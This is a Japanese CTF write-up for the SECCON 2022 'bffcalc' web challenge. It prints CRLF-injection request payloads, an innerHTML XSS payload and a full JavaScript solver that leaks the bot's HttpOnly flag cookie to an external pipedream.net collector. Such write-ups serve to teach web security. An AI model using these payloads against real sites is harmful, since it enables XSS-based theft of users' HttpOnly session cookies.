0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

claustra01's Daily CTFAdvent Calendar 2024

Day 18

[web] bffcalc (SECCON CTF 2022 Quals) writeup

Last updated at Posted at 2024-12-18

  • Source: SECCON CTF 2022 Quals
  • Author: ark

計算式を入力すると計算結果を表示してくれるアプリ。
{B80D0A1D-6C33-450F-B480-9EEC25899E0F}.png

ソースコードは全部載せるには多すぎるのでこちらを参照。

bffサーバーがクライアントとサーバーの間にあるXSS問題。

version: "3"

services:
  nginx:
    build: ./nginx
    restart: always
    ports:
      - "3000:3000"
  bff:
    build: ./bff
    restart: always
  backend:
    build: ./backend
    restart: always
  report:
    build: ./report
    restart: always
  bot:
    build: ./bot
    restart: always
    environment:
      - FLAG=SECCON{dummydummy}

backendではexprクエリの値が0123456789+-*/ のみからなる時はevalして計算結果を、そうでなければクエリの値をそのまま返している。

class Root(object):
    ALLOWED_CHARS = "0123456789+-*/ "

    @cherrypy.expose
    def default(self, *args, **kwargs):
        expr = str(kwargs.get("expr", 42))
        if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr):
            return str(eval(expr))
        return expr

クライアントでは返ってきた値をinnerHTMLで表示しているため、<img src=x onerror=alert(1)>などの文字列を「計算式」として入力するとXSSが発火した。

しかし、admin botのcookieにあるflagはHttpOnlyに設定されているため、XSSでそのまま窃取することができない。

  await page.setCookie({
    name: "flag",
    value: FLAG,
    domain: APP_HOST,
    path: "/",
    httpOnly: true,
  });

明らかに怪しいbffの実装を見てみる。なぜかHTTPリクエストを組み立て直している。

def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body

ここでユーザー入力のエスケープを行っていないので、\r\nがクエリパラメータに含まれていればCRLF InjectionによってHTTPリクエストを変形させることができる。

/api%3fexpr=1 HTTP/1.1%0d%0a%0d%0aGET /api%3fexpr=2というリクエストを投げるとレスポンスが2つ返ってきた。これでHTTP Response Splittingができた。
{E8149F2E-C3B4-40C7-A3B3-C207C9D9844B}.png

この挙動を用いてレスポンスボディにcookieが含まれるようにしたい。

cookieに適当な値をセットしてPOSTメソッドのリクエストボディにCookieヘッダだったものが含まれるようにする。試行錯誤した結果、このようなリクエストを投げればexpr=より後ろの値が返ってくることが分かった。

/api%3fexpr=1 HTTP/1.1%0d%0a%0d%0aPOST /api%0d%0aContent-Length: 300%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0aexpr=

しかし、途中で切れてしまっている。
{994997B1-E8D4-4D23-8A9F-26FD737ABDD0}.png

生成されたリクエストはこうなっており、User-Agent中の;でレスポンスが打ち切られてしまっている。

bff-1      | GET /api?expr=1 HTTP/1.1
bff-1      |
bff-1      | POST /api
bff-1      | Content-Length: 300
bff-1      | Content-Type: application/x-www-form-urlencoded
bff-1      |
bff-1      | expr= HTTP/1.1
bff-1      | Remote-Addr: 172.24.0.3
bff-1      | Remote-Host: 172.24.0.3
bff-1      | Connection: upgrade
bff-1      | Host: localhost
bff-1      | X-Real-Ip: 172.24.0.1
bff-1      | X-Forwarded-For: 172.24.0.1
bff-1      | X-Forwarded-Proto: http
bff-1      | Sec-Ch-Ua-Platform: "Windows"
bff-1      | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
bff-1      | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
bff-1      | Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
bff-1      | Upgrade-Insecure-Requests: 1
bff-1      | Sec-Ch-Ua-Mobile: ?0
bff-1      | Sec-Fetch-Site: same-origin
bff-1      | Sec-Fetch-Mode: navigate
bff-1      | Sec-Fetch-Dest: empty
bff-1      | Accept-Encoding: gzip, deflate, br, zstd
bff-1      | Accept-Language: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7
bff-1      | Cookie: flag=SECCON{dummydummy}

User-Agentを自分で上書きしてあげれば良さそうだが、Chromeではそれができないらしい。困った。

その後1つめのリクエストを弄っていると、/api%3fexpr=1 HTTP/1.1%0d%0aHost: a%0d%0aContent-Length: 300%0d%0a%0d%0aでこのようなエラーが出てきた。

1HTTP/1.0 400 Bad Request
Connection: close
Content-Length: 80
Content-Type: text/plain; charset=utf-8
Date: Thu, 19 Dec 2024 11:28:11 GMT
Server: waitress

Bad Request

Malformed HTTP method "-Ch-Ua-Mobile:"

(generated by waitress)

不正なメソッド名がレスポンスに表示されるなら、Content-Lengthの長さをうまく調整してflagがメソッド名の位置になるように調整することでレスポンスにflagを含ませることができる。

/?hogeという名前のcookieにfuga HTTP/1.1という値をセットすることで、HTTPリクエストがCookie: flag=SECCON{dummydummy}; /?hoge=fuga HTTP/1.1のように形成され、Cookie: までが1つめのリクエストとなるようにContent-Lengthを調整すればメソッドに相当する部分がflagになる。

と、ここまでやってsolverを書こうとしたが、なぜか思った通りにならなかったので作問者writeupを見た。どうやらヘッダのエンコード方式を考慮しないといけないらしい。

ということで、改めて公式solverを参考にしつつsolverを書いてみる。

const encode = (bs) => {
  // ref. https://www.rfc-editor.org/rfc/rfc2047.html#section-2
  const charset = "iso-8859-1";
  const encoding = "q";
  const encoded_text = Array.from(Buffer.from(bs))
    .map((x) => "=" + Buffer.from([x]).toString("hex"))
    .join("");
  return `=?${charset}?${encoding}?${encoded_text}?=`;
};

const exploit = async (contentLength) => {
  const header = encode(`bbb\r\nContent-Length: ${contentLength}\r\n`);
  const js = `
    const f = async () => {
      document.cookie = '/?hoge=fuga HTTP/1.1';
      const res = await fetch('/api?expr=1', {
        headers: {
          'aaa': '${header}',
        },
      });
      location = 'https://xxxxxxxx.m.pipedream.net?a=' + encodeURIComponent(await res.text());
    };
    f();
  `.replaceAll("\n", "");

  const payload = `<img src=x onerror="${js}">`;

  const res = await (
    await fetch("http://localhost:3000/report", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({
        expr: payload,
      }),
    })
  ).text();
  console.log(contentLength, res); // progress
};

for (let i = 100; i < 500; i+=10) {
  exploit(i)
  await new Promise((r) => setTimeout(r, 30000)); // sleep 30s
}

contentLengthはおそらく未知で、reportは30秒に1回しか呼べないので総当たりは一見厳しそう。しかし、flag=SECCONの10文字は省略されてしまっても良い。10文字ごとに調べれば100から500まで全て調べても20分で済む。

と思ったら意外と早く、contentLengthが120の時にflagが降ってきた。
SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?